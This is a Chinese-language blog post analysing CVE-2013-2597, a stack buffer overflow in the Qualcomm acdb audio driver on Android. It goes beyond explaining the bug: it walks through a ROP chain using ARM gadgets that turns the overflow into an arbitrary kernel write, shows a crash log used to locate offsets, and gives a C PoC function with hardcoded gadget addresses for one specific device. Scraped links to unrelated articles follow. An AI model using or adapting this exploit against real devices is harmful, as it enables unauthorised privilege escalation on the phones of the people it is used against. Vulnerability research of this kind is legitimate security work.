/*

本文章由 莫灰灰 编写,转载请注明出处。

作者:莫灰灰    邮箱: minzhenfei@163.com

*/

1. 漏洞描写叙述

音频驱动acdb提供了一个ioctl的系统接口让应用层调用,然而,其在处理传进来的參数时没有做有效的边界检查。应用程序能够通过/dev/msm_acdb设备文件就能达到提升权限的目的。

2. 漏洞分析

原始代码例如以下
if (size <= 0) {
pr_err("%s: Invalid size sent to driver: %d\n",
__func__, size);
result = -EFAULT;
goto done;
} if (copy_from_user(data, (void *)(arg + sizeof(size)), size)) { pr_err("%s: fail to copy table size %d\n", __func__, size);
result = -EFAULT;
goto done;
}
acdb驱动在处理ioctl的时候,仅仅对输入的參数大小做了size<=0的推断,而没有做>的推断,紧接着,copy_from_user(data, (void *)(arg + sizeof(size)), size)的调用造成局部变量data的栈溢出。


3. 漏洞利用
1.原来的流程 - do_vfs_ioctl调用acdb_ioctl后返回
do_vfs_ioctl:
STMPW [SP], { R4-R9, LR }
...
BL acdb_ioctl
...
ADD SP, SP, #$44 // (2)
LDMUW [SP], { R4-R9, PC } // (1)

2.acdb_ioctl当中一段,能够获得控制PC的机会。改动寄存器的位置是 (3),这里能够操作R4-PC的全部数值了


acdb_ioctl:
...
ADD SP, SP, #$84
LDMUW [SP], { R4-R11, PC } // (3)

通过栈溢出,改动R5,R9,PC的值。


3.上面的指令,通过堆栈溢出,控制PC的值,跳转到以下代码运行

STR R5, [R9] // (4)
LDMUW [SP], { R4-R10, PC } // (5)

此处很关键,主要通过STR指令,将R5的值设置到R9的地址中,即通过栈溢出达到随意地址写的目的。


4.运行(5)之后,为了堆栈平衡,栈要填充 4*8 字节,然后设置下一跳的PC,即返回到(2)那里去

ADD SP, SP, #$24 // (6)
LDMUW [SP], { R4-R9, PC }

5.实际栈的位置和p->data的位置须要硬编码适配。
p->data[...]的値须要初始化的时候设置。
硬编码的地址请在pc上通过崩溃的日志分析。
p->data[i]=i 这样来试探(注:给数据标上相对偏移,方便通过栈来定位),这个样例中,PC在&p->data[0x9c]的位置。

例:
ACDB=> ACDB ioctl not found!
Unable to handle kernel paging request at virtual address 9f9e9d9c
pgd = df56c000
[9f9e9d9c] *pgd=00000000
Internal error: Oops: 80000005 [#1] PREEMPT SMP
Modules linked in:
CPU: 1 Tainted: G W (3.0.8+1.0.21100-02148-g79e6d0e #1)
PC is at 0x9f9e9d9c
LR is at acdb_ioctl+0x740/0x860

6.设置好堆栈布局
((unsigned int)&p->data[0x80]) = value;     //r5: PC - 4*7
((unsigned int)&p->data[0x90]) = address; //r9: PC - 4*3
((unsigned int)&p->data[0x9c]) = (4)的地址; //pc: PC
((unsigned int)&p->data[0xbc]) = (6)地址; //pc: PC + 4*8

4. PoC

static int
write_value(const acdb_param *param, unsigned long address, unsigned long value)
{
const char *device_name = "/dev/msm_acdb";
struct acdb_ioctl arg; int fd;
int ret;
int i; fd = open(device_name, O_RDONLY);
if (fd < 0) {
ALOGI("failed to open %s due to %s.\n", device_name, strerror(errno));
return -1;
} arg.size = param->pc2.pos + 4; for (i = 0; i < arg.size; i += 4) {
*(unsigned long int *)&arg.data[i] = i;
} *(unsigned long int *)&arg.data[param->address_pos] = address; // R9<span style="white-space:pre"> </span>
*(unsigned long int *)&arg.data[param->value_pos] = value; // R5
*(unsigned long int *)&arg.data[param->pc1.pos] = param->pc1.value; //
*(unsigned long int *)&arg.data[param->pc2.pos] = param->pc2.value; // ret = ioctl(fd, 9999, &arg); // 随意触发一个ioctl,造成堆栈溢出,使得随意地址写入漏洞的触发
close(fd); return 0;
}

当中,param的值相应例如以下:

{ DEVICE_SO05D_7_0_D_1_137,       { 0x80, 0x90, { 0x9c, 0xc03265d8 }, { 0xbc, 0xc0524d84 } } },

5.漏洞修复

添加了对size上限的控制


參考文章:
http://retme.net/index.php/2014/03/31/CVE-2013-2597-acdb.html
https://www.codeaurora.org/projects/security-advisories/stack-based-buffer-overflow-acdb-audio-driver-cve-2013-2597
https://gist.github.com/fi01/5857693

Stack-based buffer overflow in acdb audio driver (CVE-2013-2597)的更多相关文章

  1. BUFFER OVERFLOW 10 Vulnerability & Exploit Example

    SRC= http://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html THE VULNERABLE AND THE EXPLOIT     W ...

  2. CVE-2016-2502-drivers/usb/gadget/f_serial.c in the Qualcomm USB driver in Android. Buffer Overflow Vulnerability reported by #plzdonthackme, Soctt.

    CVE-2016-2502-drivers/usb/gadget/f_serial.c in the Qualcomm USB driver in Android.Buffer Overflow Vu ...

  3. buffer overflow

    Computer Systems A Programmer's Perspective Second Edition We have seen that C does not perform any ...

  4. buffer overflow vulnerabilitie

    Computer Systems A Programmer's Perspective Second Edition Avoiding security holes.For many years,bu ...

  5. ORA-20000: ORU-10027: buffer overflow, limit of 10000 bytes

        要用dbms_output.put_line来输出语句,遇到以下错误: ERROR 位于第 1 行: ORA-20000: ORU-10027: buffer overflow, limit ...

  6. CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用

    作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...

  7. 缓存溢出Buffer Overflow

    缓存溢出(Buffer overflow),是指在存在缓存溢出安全漏洞的计算机中,攻击者可以用超出常规长度的字符数来填满一个域,通常是内存区地址.在某些情况下,这些过量的字符能够作为“可执行”代码来运 ...

  8. (原创)攻击方式学习之(3) - 缓冲区溢出(Buffer Overflow)

    堆栈溢出 堆栈溢出通常是所有的缓冲区溢出中最容易进行利用的.了解堆栈溢出之前,先了解以下几个概念: 缓冲区 简单说来是一块连续的计算机内存区域,可以保存相同数据类型的多个实例. 堆栈     堆 栈是 ...

  9. Writing buffer overflow exploits - a tutorial for beginners

    Buffer overflows in user input dependent buffers have become one of the biggest security hazards on ...

随机推荐

  1. 第 3 章 编写 PAM 应用程序和服务

    Solaris 开发者安全性指南 Previous: 第 2 章 开发特权应用程序 Next: 第 4 章 编写使用 GSS-API 的应用程序 第 3 章 编写 PAM 应用程序和服务 可插拔验证模 ...

  2. VSTO之旅系列(一):VSTO入门

    原文:VSTO之旅系列(一):VSTO入门 引言: 因为工作的原因,这段时间一直在看VSTO的相关的内容的,因此希望通过这个系列来记录下我学习的过程和大家分享Office开发的相关知识,希望以后有朋友 ...

  3. broadcom6838开发环境实现函数栈追踪

    在嵌入式设备开发中.内核为内核模块的函数栈追踪已经提供了非常好的支持,但用户层的函数栈追踪确没有非常好的提供支持. 在网上收集学习函数栈跟踪大部分都是描写叙述INTER体系架构支持栈帧的实现机制.或者 ...

  4. 跟我extjs5(38--单个模块的设计[6获得模块列表数据])

    跟我extjs5(38--单个模块的设计[6获得模块列表数据])         在程序的前一个表以及,据的执行过程. 在菜单中选择 "系统管理"--"模块分组" ...

  5. PPPOE 模拟环境搭建

    这段时间.包含我自己測试OTT盒子 PPPOE的时候比較痛苦.要不就是在别人的位置上測试.要不就是借用PPPOE的设备,认为还是自己搭建一个PPPOE真实拨号上网的环境多好! 可是坑爹的win7找不到 ...

  6. 2014ACM/ICPC亚洲区西安站 F题 color (组合数学,容斥原理)

    题目链接:传送门 题意: n个格子排成一行.我们有m种颜色.能够给这些格子涂色,保证相邻的格子的颜色不同 问,最后恰好使用了k种颜色的方案数. 分析: 看完题目描写叙述之后立刻想到了一个公式 :C(m ...

  7. 京东商城招聘自动调价系统架构师 T4级别

    岗位级别:T4 岗位职责: 1.负责自动调价系统的架构设计 2.负责自动调价的预测.相关性算法设计 3.核心代码编写,代码review 任职要求: 1.熟悉数据挖掘.机器学习理论和算法 2.熟悉海量数 ...

  8. 【HDU】4888 Redraw Beautiful Drawings 网络流【推断解是否唯一】

    传送门:pid=4888">[HDU]4888 Redraw Beautiful Drawings 题目分析: 比赛的时候看出是个网络流,可是没有敲出来.各种反面样例推倒自己(究其原因 ...

  9. OpenStack_Swift源代码分析——ObjectReplicator源代码分析(2)

    1.Replicator运行代码具体分析 上篇问中介绍了启动Replicator的详细过程,以下解说Replicator的运行代码的详细实现,首先看replicate方法: def replicate ...

  10. Windows Phone开发(41):漫谈关键帧动画之下篇

    原文:Windows Phone开发(41):漫谈关键帧动画之下篇 也许大家已经发现,其实不管什么类型的动画,使用方法基本是一样的,不知道大家总结出规律了没有?当你找到规律之后,你会发现真的可以举一反 ...